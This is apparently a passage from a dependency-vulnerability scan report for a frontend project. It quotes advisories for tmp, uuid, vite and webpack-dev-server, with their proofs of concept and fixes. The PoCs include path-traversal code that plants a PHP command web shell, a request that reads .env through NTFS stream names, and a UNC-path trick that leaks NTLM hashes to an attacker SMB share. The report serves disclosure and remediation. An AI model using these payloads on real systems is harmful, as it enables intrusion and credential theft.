`is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions`.

A fix PR is being prepared against a private fork and will be linked here.

### Fix PR

To be linked from a private fork of the repository (the fix will not be pushed
to any public fork or to upstream during embargo).

### Credits

Reported by tonghuaroot.
CWE-436 Interpretation Conflict

Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tar:\<\=7.5.15:*:*:*:*:*:*:*

tmp:0.0.33

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?tmp

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/tmp@0.0.33  (Confidence:Highest)

GHSA-52f5-9888-hmc6 (NPM)  

### Summary

`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.


### Details

According to the documentation there are some conditions that must be held:

```
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.
```

Related issue: https://github.com/raszi/node-tmp/issues/207.


The issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:
```js
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}
```

If the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:
```js
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}
```


### PoC

The following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.
Tested on a Linux machine.

- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it
```bash
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
```

- check the folder is empty:
```bash
ls -lha $HOME/mydir1 | grep "tmp-"
```

- run the poc
```bash
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
```

- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):
```bash
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
```


- `main.js`
```js
// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}
```


A Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.
```js
function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}
```


### Impact

Arbitrary temporary file / directory write via symlink
CWE-59 Improper Link Resolution Before File Access ('Link Following')

CVSSv3:
  • Base Score: LOW (2.5)
  • Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N
Unscored:
  • Severity: low

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tmp:\<\=0.2.3:*:*:*:*:*:*:*

tmp:0.2.5

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?tmp

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/tmp@0.2.5  (Confidence:Highest)

GHSA-ph9p-34f9-6g65 (NPM)  

### Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.

### Details

**Root Cause:**
The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

**Technical Flow:**
1. **Filename Construction:** tmp builds filenames as `<prefix>-<pid>-<random>-<postfix>`
2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)`
3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape
4. **File Creation:** File created at the resulting (potentially escaped) path

**Vulnerable Pattern:**
```javascript
// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir
```

**Path Traversal Mechanics:**
- **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure
- **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely
- **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text
- **Cross-platform impact:** Works on Windows (`..\\`), Unix (`../`), and mixed path systems

**Key Vulnerability Points:**
- No input validation on `prefix`, `postfix`, or `dir` parameters
- Direct use of user input in path construction
- Reliance on `path.join()` normalization without containment checks
- Missing post-construction validation that final path remains within intended directory

### PoC

**Basic Path Traversal via prefix:**
```javascript
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);

// Escape via prefix
tmp.file({ 
  tmpdir: baseDir, 
  prefix: '../escaped' 
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Created file:', filepath);
  console.log('Relative to base:', path.relative(baseDir, filepath));
  // Output shows: ../escaped-<pid>-<random>
  
  cleanup();
});
```

**Directory Escape via postfix:**
```javascript
tmp.file({ 
  tmpdir: baseDir, 
  postfix: '/../../pwned.txt' 
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Escaped file:', filepath);
  console.log('Escaped outside base:', !filepath.startsWith(baseDir));
  
  cleanup();
});
```

**Absolute Path Bypass via dir:**
```javascript
tmp.file({ 
  tmpdir: '/safe/tmp/dir', 
  dir: '/tmp/evil-location',
  prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Bypassed to:', filepath);
  // File created in /tmp/evil-location instead of /safe/tmp/dir
  
  cleanup();
});
```

**Advanced Multi-Vector Attack:**
```javascript
const maliciousOpts = {
  tmpdir: '/app/safe-tmp',
  dir: '../../../tmp',           // Escape base
  prefix: '../sensitive-area/',   // Further traversal
  postfix: 'malicious.config'     // Controlled filename
};

tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
  // Results in file creation at: /tmp/sensitive-area/malicious.config
  console.log('Final malicious path:', filepath);
  cleanup();
});
```

**Real-World Attack Simulation:**
```javascript
// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
  return new Promise((resolve, reject) => {
    tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
      if (err) return reject(err);
      
      fs.writeSync(fd, content);
      console.log('User file created at:', path);
      resolve({ path, cleanup });
    });
  });
}

// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directory
```

### Impact

**Arbitrary File Creation:**
- Files created outside intended temporary directories
- Attacker control over file placement location
- Potential to overwrite existing files (depending on creation flags)
- Cross-platform exploitation capability

**Attack Scenarios:**

**1. Web Application Configuration Poisoning:**
- User uploads file with malicious prefix/postfix
- tmp creates "temporary" file in application configuration directory
- Malicious configuration loaded on next application restart

**2. Cache Poisoning:**
- Application caches user content using tmp
- Attacker escapes to cache directory of different user/tenant
- Poisoned cache serves malicious content to other users

**3. Build Pipeline Compromise:**
- CI/CD system processes user PRs with tmp usage
- Malicious prefix escapes to build output directories
- Compromised build artifacts deployed to production

**4. Container Escape Attempt:**
- Containerized application uses tmp with user input
- Attacker attempts to escape container temp restrictions
- Files created in host-mapped volumes or sensitive container areas

**5. Multi-Tenant Service Bypass:**
- SaaS platform isolates tenants using separate tmp directories
- Tenant A escapes their tmp space to tenant B's area
- Cross-tenant data access and potential privilege escalation

**Business Impact:**
- **Data Integrity:** Unauthorized file placement can corrupt application state
- **Service Disruption:** Files in wrong locations may break application functionality  
- **Security Bypass:** Escape temporary isolation boundaries
- **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations

### Affected Products

- **Ecosystem:** npm
- **Package name:** tmp
- **Repository:** github.com/raszi/node-tmp
- **Affected versions:** All versions with vulnerable path construction logic
- **Patched versions:** None currently available

**Component Impact:**
- `tmp.file()` function - vulnerable to prefix/postfix/dir traversal
- `tmp.dir()` function - vulnerable to same parameter manipulation  
- `tmp.tmpName()` function - if using affected path construction

**Severity:** High  
**CVSS v3.1:** 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

**CWE Classification:**
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

### Remediation

**Input Validation and Sanitization:**

1. **Sanitize prefix/postfix:**
```javascript
function sanitizePrefix(prefix) {
  if (!prefix) return '';
  // Remove path separators and traversal sequences
  return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}

function sanitizePostfix(postfix) {
  if (!postfix) return '';
  // Allow only safe characters
  return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}
```

2. **Validate dir parameter:**
```javascript
function validateDir(dir, baseDir) {
  if (!dir) return '';
  
  // Reject absolute paths
  if (path.isAbsolute(dir)) {
    throw new Error('Absolute paths not allowed for dir option');
  }
  
  // Resolve and check containment
  const resolved = path.resolve(baseDir, dir);
  const relative = path.relative(baseDir, resolved);
  
  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Dir option escapes base directory');
  }
  
  return dir;
}
```

3. **Post-construction path validation:**
```javascript
function validateFinalPath(finalPath, baseDir) {
  const resolved = path.resolve(finalPath);
  const relative = path.relative(path.resolve(baseDir), resolved);
  
  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Generated path escapes temporary directory');
  }
  
  return resolved;
}
```

**Secure Implementation Pattern:**
```javascript
function createTempFile(options) {
  const opts = { ...options };
  
  // Sanitize inputs
  opts.prefix = sanitizePrefix(opts.prefix);
  opts.postfix = sanitizePostfix(opts.postfix);
  opts.dir = validateDir(opts.dir, opts.tmpdir);
  
  // Create with sanitized options
  return tmp.file(opts, (err, path, fd, cleanup) => {
    if (err) return callback(err);
    
    // Validate final path
    try {
      validateFinalPath(path, opts.tmpdir);
    } catch (validationErr) {
      cleanup();
      return callback(validationErr);
    }
    
    callback(null, path, fd, cleanup);
  });
}
```

### Workarounds

**For Application Developers:**

1. **Input Sanitization:**
```javascript
// Sanitize before passing to tmp
function safeTmpFile(userOptions) {
  const safeOpts = {
    ...userOptions,
    prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,
    postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,
    dir: undefined // Don't allow user-controlled dir
  };
  
  return tmp.file(safeOpts);
}
```

2. **Path Validation:**
```javascript
function validateTmpPath(tmpPath, expectedBase) {
  const relativePath = path.relative(expectedBase, tmpPath);
  if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
    throw new Error('Temporary file path escaped base directory');
  }
  return tmpPath;
}
```

3. **Restricted Usage:**
```javascript
// Only use tmp with known-safe, literal values
tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);
// Never: tmp.file({ prefix: userInput }, callback);
```

**For Security Teams:**

1. **Code Review Patterns:**
```bash
# Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" .
grep -r "tmp\.dir.*opts\|tmp\.file.*opts" .
```

2. **Runtime Monitoring:**
```javascript
// Monitor for files created outside expected temp areas
const originalFile = tmp.file;
tmp.file = function(options, callback) {
  return originalFile(options, (err, path, fd, cleanup) => {
    if (!err && options.tmpdir) {
      const relative = require('path').relative(options.tmpdir, path);
      if (relative.startsWith('..')) {
        console.warn('Path traversal detected:', path);
      }
    }
    return callback(err, path, fd, cleanup);
  });
};
```

### Detection and Monitoring

**Static Analysis:**
- Scan for tmp usage with user-controlled input
- Identify unsanitized parameter passing to tmp functions
- Review file creation patterns in temporary directories

**Runtime Detection:**
```javascript
// Log suspicious tmp operations
function monitorTmpUsage() {
  const originalTmpFile = require('tmp').file;
  
  require('tmp').file = function(options = {}, callback) {
    // Check for suspicious patterns
    const suspicious = [
      options.prefix && options.prefix.includes('..'),
      options.postfix && options.postfix.includes('..'),  
      options.dir && path.isAbsolute(options.dir)
    ].some(Boolean);
    
    if (suspicious) {
      console.warn('Suspicious tmp usage detected:', options);
    }
    
    return originalTmpFile.call(this, options, callback);
  };
}
```

**File System Monitoring:**
```bash
# Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do
  if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then
    echo "Unexpected file creation: $file"
  fi
done
```
### Acknowledgements

**Reported by**: Mapta / BugBunny_ai
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tmp:\<0.2.6:*:*:*:*:*:*:*

uuid:8.3.2

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?uuid

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/uuid@8.3.2  (Confidence:Highest)

GHSA-w5hq-g745-h8pq (NPM)  

### Summary

The `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`).  
By contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds.

This inconsistency allows **silent partial writes** into caller-provided buffers.


### Affected code

- `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation.
- `src/v6.ts` writes `buf[offset + i]` without bounds validation.

### Reproducible PoC

```bash
cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4()',()=>v4({},new Uint8Array(8),4)],
  ['v5()',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6()',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"
```

Observed:

- `v4() THREW RangeError`
- `v5() NO_THROW`
- `v6() NO_THROW`

Example partial overwrite evidence captured during audit:

```text
same true buf [
  170, 170, 170, 170,
   75, 224, 100,  63
]
v6 [
  187, 187, 187, 187,
   31,  19, 185,  64
]
```

### Security impact

- **Primary**: integrity/robustness issue (silent partial output).
- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.
- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.

### Suggested fix

Add the same guard used by `v4()`/`v1()`/`v7()`:

```ts
if (offset < 0 || offset + 16 > buf.length) {
  throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);
}
```

Apply to:

- `src/v35.ts` (covers `v3()` and `v5()`)
- `src/v6.ts`
CWE-787 Out-of-bounds Write, CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:uuid:\<11.1.1:*:*:*:*:*:*:*

vite:5.4.21

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?vite

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/vite@5.4.21  (Confidence:Highest)

GHSA-fx2h-pf6j-xcff (NPM)  

### Summary

The contents of files that are specified by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser on Windows.

### Impact

Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host))
- the sensitive file exists in the allowed directories specified by [`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow)
- either of:
  - the sensitive file exists in an NTFS volume
  - the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

### Details

Vite’s dev server denies direct access to sensitive files through `server.fs.deny`, including entries such as `.env`, `.env.*`, and `*.{crt,pem}`. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as `/.env::$DATA?raw` are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

### PoC
```bash
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
```
Access via browser at `http://localhost:5173/.env::$DATA?raw`
<img width="388" height="129" alt="deecc1315123883cfd0f9c26a002845a" src="https://github.com/user-attachments/assets/895c6012-4e2e-4a35-babb-69bbf3ee7170" />

Example expected result:
- `/.env::$DATA?raw` returns the contents of `.env`
- `/tls.pem::$DATA?raw` returns the contents of `tls.pem`
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-200 Exposure of Sensitive Information to an Unauthorized Actor

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:vite:\<\=6.4.2:*:*:*:*:*:*:*

GHSA-4w7w-66w2-5vf9 (NPM)  

### Summary

Any files ending with `.map` even out side the project can be returned to the browser.

### Impact

Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host))
- have a sensitive content in files ending with `.map` and the path is predictable

### Details

In Vite v7.3.1, the dev server’s handling of `.map` requests for optimized dependencies resolves file paths and calls `readFile` without restricting `../` segments in the URL. As a result, it is possible to bypass the [`server.fs.strict`](https://vite.dev/config/server-options#server-fs-strict) allow list and retrieve `.map` files located outside the project root, provided they can be parsed as valid source map JSON.

### PoC
1. Create a minimal PoC sourcemap outside the project root
    ```bash
    cat > /tmp/poc.map <<'EOF'
    {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
    EOF
    ```
2. Start the Vite dev server (example)
    ```bash
    pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080
    ```
3. Confirm that direct `/@fs` access is blocked by `strict` (returns 403)
    <img width="4004" height="1038" alt="image" src="https://github.com/user-attachments/assets/15a859a8-1dc6-4105-8d58-80527c0dd9ab" />
4. Inject `../` segments under the optimized deps `.map` URL prefix to reach `/tmp/poc.map`
    <img width="2790" height="846" alt="image" src="https://github.com/user-attachments/assets/5d02957d-2e6a-4c45-9819-3f024e0e81f2" />
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-200 Exposure of Sensitive Information to an Unauthorized Actor

Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:vite:\<\=6.4.1:*:*:*:*:*:*:*

GHSA-v6wh-96g9-6wx3 (NPM)  

### Summary
The `launch-editor` NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

### Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the `launch-editor`:

- using Windows
- NTLM is not disabled ([it is recommended to disable](https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default)
- the user accesses the attackers website that sends request to a middleware using `launch-editor`
- the server that has the middleware using `launch-editor` is running
- the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

### Details
`launch-editor` accepts file paths without validating or restricting Windows UNC paths such as:

```
\\attacker-host\share
```

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using `launch-editor` to develop code locally, send them a link and grab their NTLMv2 hash.

### PoC
From the attacker side, we will setup an SMB server. I personally used [Impacket's smbserver.py](https://github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like [Responder](https://github.com/lgandx/Responder) for this as well. For keeping it simple, we will use `smbserver.py` here.

First, let's create a directory to serve as an SMB share.
```
mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt
```

Then, start the SMB server.
```
$ sudo smbserver.py -smb2support -debug share /tmp/data
```

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (`vite`).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use `curl` to achieve the same.

```
curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'
```

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of `smbserver.py` and see the NTLMv2 hash coming in.

<img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />
CWE-522 Insufficiently Protected Credentials, CWE-73 External Control of File Name or Path

Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:vite:\<\=6.4.2:*:*:*:*:*:*:*

webpack-dev-server:5.2.2

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?webpack-dev-server

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/webpack-dev-server@5.2.2  (Confidence:Highest)

GHSA-79cf-xcqc-c78w (NPM)  

### Impact

When webpack-dev-server is running on a non-HTTPS origin (the default), cross-origin requests from malicious websites can load the dev server's JavaScript bundles via `<script>` tags. The fix introduced in v5.2.1 (CVE-2025-30359) relied on `Sec-Fetch-Mode` and `Sec-Fetch-Site` request headers to block these requests, but browsers only send these headers for [potentially trustworthy origins](https://w3c.github.io/webappsec-secure-contexts/#is-origin-trustworthy). Over plain HTTP, the headers are absent and the check is bypassed.

An attacker who knows the dev server's host, port, and output path can exfiltrate all module source code by intercepting the webpack runtime's module registration.

This does not affect Chrome 142+ (and other Chromium-based browsers) due to [local network access restrictions](https://developer.chrome.com/release-notes/142#local_network_access_restrictions).

### Patches

Patched in webpack-dev-server >= 5.2.4 by setting `Cross-Origin-Resource-Policy: same-origin` on responses.

### Workarounds

Run the dev server with HTTPS enabled (`--https` or `server.type: 'https'` in config).

### Resources

- [GHSA-4v9v-hfq4-rm2v](https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v) (CVE-2025-30359) - original vulnerability
- [GHSA-9jgg-88mc-972h](https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h) (CVE-2025-30360) - prior bypass
CWE-749 Exposed Dangerous Method or Function

CVSSv3:
  • Base Score: MEDIUM (5.300000190734863)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:webpack-dev-server:\<\=5.2.3:*:*:*:*:*:*:*

GHSA-m28w-2pqf-7qgj (NPM)  

### Impact

An unauthenticated peer that can reach the `webpack-dev-server` process can terminate it by sending either a normal HTTP request with a malformed `Host` header, or a WebSocket upgrade to the default `/ws` endpoint with a malformed `Origin` header. The malformed header triggers an uncaught exception in the host-validation path and crashes the dev server process.

### Patches

Fixed in `webpack-dev-server` 5.2.6 by treating malformed `Host` and `Origin` header values as invalid rather than throwing (see [PR #5699](https://github.com/webpack/webpack-dev-server/pull/5699)).

### Workarounds

Keep the dev server bound to `localhost` (the default) and do not expose it to untrusted networks.
CWE-248 Uncaught Exception, CWE-20 Improper Input Validation

CVSSv3:
  • Base Score: MEDIUM (5.300000190734863)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:webpack-dev-server:\<\=5.2.5:*:*:*:*:*:*:*

GHSA-mx8g-39q3-5c79 (NPM)  

### Impact

When a user-configured proxy on `webpack-dev-server` has a broad context (e.g. `/`) and `ws: true`, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and `Origin` header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket).

### Patches

Fixed in `webpack-dev-server` 5.2.5.

### Workarounds

Scope user-defined proxy `context` to specific paths instead of `/`, or omit `ws: true` from the proxy entry when WebSocket forwarding is not required.
CWE-346 Origin Validation Error, CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')

CVSSv3:
  • Base Score: MEDIUM (5.300000190734863)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:webpack-dev-server:\<5.2.5:*:*:*:*:*:*:*

GHSA-f5vj-f2hx-8m93 (NPM)  

### Impact

The internal `/webpack-dev-server/open-editor` and `/webpack-dev-server/invalidate` endpoints perform state-changing actions on any `GET` request, without verifying that the request originated from the dev server's own page. Any website a developer visits while the dev server is running can trigger them cross-origin with no interaction beyond the visit.

An attacker can open an arbitrary existing local file in the developer's editor, including files outside the project root (e.g. `~/.ssh/config`). The file's contents are not returned to the attacker. Repeated requests can also spawn editor processes and force recompilations, degrading the developer's machine.

### Patches

Fixed in `webpack-dev-server` 5.2.6 by rejecting cross-site requests to the `/webpack-dev-server/open-editor` and `/webpack-dev-server/invalidate` endpoints (see [PR #5698](https://github.com/webpack/webpack-dev-server/pull/5698)).

### Workarounds

None
CWE-749 Exposed Dangerous Method or Function, CWE-352 Cross-Site Request Forgery (CSRF)

CVSSv3:
  • Base Score: MEDIUM (4.699999809265137)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:webpack-dev-server:\<\=5.2.5:*:*:*:*:*:*:*

webpack:5.94.0

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?webpack

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/webpack@5.94.0  (Confidence:Highest)

GHSA-38r7-794h-5758 (NPM)  

### Summary
When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.

### Details
In the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata/info is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`.

